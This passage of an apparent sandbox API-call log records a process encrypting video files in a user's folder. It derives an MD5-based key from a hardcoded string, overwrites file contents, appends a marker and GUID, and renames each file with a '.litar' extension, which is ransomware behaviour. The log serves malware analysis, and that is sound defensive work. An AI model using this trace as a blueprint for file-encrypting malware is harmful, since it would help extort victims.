hHeap=0x5c0000) returned 1 [0126.996] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x11730, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x11730, lpOverlapped=0x0) returned 1 [0126.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.996] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11735, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.996] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.997] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.997] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.997] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.997] CloseHandle (hObject=0x624) returned 1 [0126.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0126.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0126.998] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\EVQWdEk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\evqwdek.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\EVQWdEk.mp4.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\evqwdek.mp4.litar")) returned 1 [0127.000] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.000] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.001] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9173da30, ftCreationTime.dwHighDateTime=0x1d4c7d4, ftLastAccessTime.dwLowDateTime=0xa6178800, ftLastAccessTime.dwHighDateTime=0x1d4c9c4, ftLastWriteTime.dwLowDateTime=0xa6178800, ftLastWriteTime.dwHighDateTime=0x1d4c9c4, nFileSizeHigh=0x0, nFileSizeLow=0x11e4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FktDzr_Il x_4yzD.flv", cAlternateFileName="FKTDZR~1.FLV")) returned 1 [0127.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0127.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0127.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0127.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\FktDzr_Il x_4yzD.flv") returned=".flv" [0127.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\FktDzr_Il x_4yzD.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\fktdzr_il x_4yzd.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.002] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=73295) returned 1 [0127.002] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.004] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11e29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.004] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.005] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.005] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x11e4f, lpOverlapped=0x0) returned 1 [0127.006] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.006] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.006] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.006] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0127.007] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.007] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.007] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.007] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.007] GetLastError () returned 0x0 [0127.007] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.007] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0127.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.007] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e50) returned 0x30fa0b0 [0127.007] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.007] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.007] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x11e4a, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x11e4a, lpOverlapped=0x0) returned 1 [0127.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.008] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11e4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0127.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.008] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0127.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.008] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.008] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.008] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.008] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.008] CloseHandle (hObject=0x624) returned 1 [0127.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0127.009] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0127.009] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0127.009] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\FktDzr_Il x_4yzD.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\fktdzr_il x_4yzd.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\FktDzr_Il x_4yzD.flv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\fktdzr_il x_4yzd.flv.litar")) returned 1 [0127.010] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.010] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.011] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.011] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511561d0, ftCreationTime.dwHighDateTime=0x1d4d241, ftLastAccessTime.dwLowDateTime=0xa68dc190, ftLastAccessTime.dwHighDateTime=0x1d4cd76, ftLastWriteTime.dwLowDateTime=0xa68dc190, ftLastWriteTime.dwHighDateTime=0x1d4cd76, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M1Ow pK RUoG", cAlternateFileName="M1OWPK~1")) returned 1 [0127.011] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0127.011] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0127.011] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0127.011] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0127.011] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0127.011] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0127.011] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.011] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadf476c0, ftCreationTime.dwHighDateTime=0x1d4d570, ftLastAccessTime.dwLowDateTime=0x3d8cc6e0, ftLastAccessTime.dwHighDateTime=0x1d4d344, ftLastWriteTime.dwLowDateTime=0x3d8cc6e0, ftLastWriteTime.dwHighDateTime=0x1d4d344, nFileSizeHigh=0x0, nFileSizeLow=0xa6ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mmUH6saj5D04se1Ny.mkv", cAlternateFileName="MMUH6S~1.MKV")) returned 1 [0127.011] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0127.011] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0127.011] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0127.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\mmUH6saj5D04se1Ny.mkv") returned=".mkv" [0127.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\mmUH6saj5D04se1Ny.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\mmuh6saj5d04se1ny.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.012] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=42670) returned 1 [0127.012] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.013] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa688, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.014] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.015] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.015] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.015] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xa6ae, lpOverlapped=0x0) returned 1 [0127.016] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.016] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.016] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.016] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.016] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0127.017] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.017] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.017] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.017] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.017] GetLastError () returned 0x0 [0127.017] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.017] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0127.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6b0) returned 0x30fa0b0 [0127.017] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.017] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xa6a9, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xa6a9, lpOverlapped=0x0) returned 1 [0127.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.017] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa6ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0127.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.018] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.018] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0127.018] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.018] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.018] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.018] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.018] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.018] CloseHandle (hObject=0x624) returned 1 [0127.019] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0127.019] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0127.019] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0127.019] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\mmUH6saj5D04se1Ny.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\mmuh6saj5d04se1ny.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\mmUH6saj5D04se1Ny.mkv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\mmuh6saj5d04se1ny.mkv.litar")) returned 1 [0127.019] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.019] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.020] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.020] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ad9780, ftCreationTime.dwHighDateTime=0x1d4cd2e, ftLastAccessTime.dwLowDateTime=0x401597c0, ftLastAccessTime.dwHighDateTime=0x1d4c7d7, ftLastWriteTime.dwLowDateTime=0x401597c0, ftLastWriteTime.dwHighDateTime=0x1d4c7d7, nFileSizeHigh=0x0, nFileSizeLow=0x1390a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3vmN1a.flv", cAlternateFileName="")) returned 1 [0127.020] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0127.020] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0127.020] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0127.020] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\v3vmN1a.flv") returned=".flv" [0127.020] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\v3vmN1a.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\v3vmn1a.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.021] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=80138) returned 1 [0127.021] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.022] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x138e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.022] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.025] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.025] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1390a, lpOverlapped=0x0) returned 1 [0127.026] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.026] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.026] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.026] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0127.027] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.027] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.027] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.027] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.027] GetLastError () returned 0x0 [0127.027] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.027] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0127.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13910) returned 0x30fa0b0 [0127.027] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.027] WriteFile (in: hFile=0x624, 